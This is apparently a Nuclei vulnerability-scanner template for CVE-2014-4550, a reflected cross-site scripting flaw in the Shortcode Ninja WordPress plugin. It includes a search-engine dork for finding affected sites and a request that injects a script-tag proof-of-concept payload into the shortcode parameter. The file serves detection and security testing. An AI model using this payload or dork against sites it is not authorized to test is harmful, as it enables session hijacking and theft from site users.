id: CVE-2014-4550

info:
  name: Shortcode Ninja <= 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
    - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4550
    cwe-id: CWE-79
    epss-score: 0.02712
    epss-percentile: 0.86116
    cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: visualshortcodes
    product: ninja
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/shortcode-ninja\""
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/shortcode-ninja/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207d3b5bfbdc529dc3f446434c2ae7dd6843a763e5f19a8d99751c1008fd5f762d02201346a425e53faaee4b936376b735b4cd6051445ea82373885758f3234be0bfa4:922c64590222798bb761d5b6d8e72950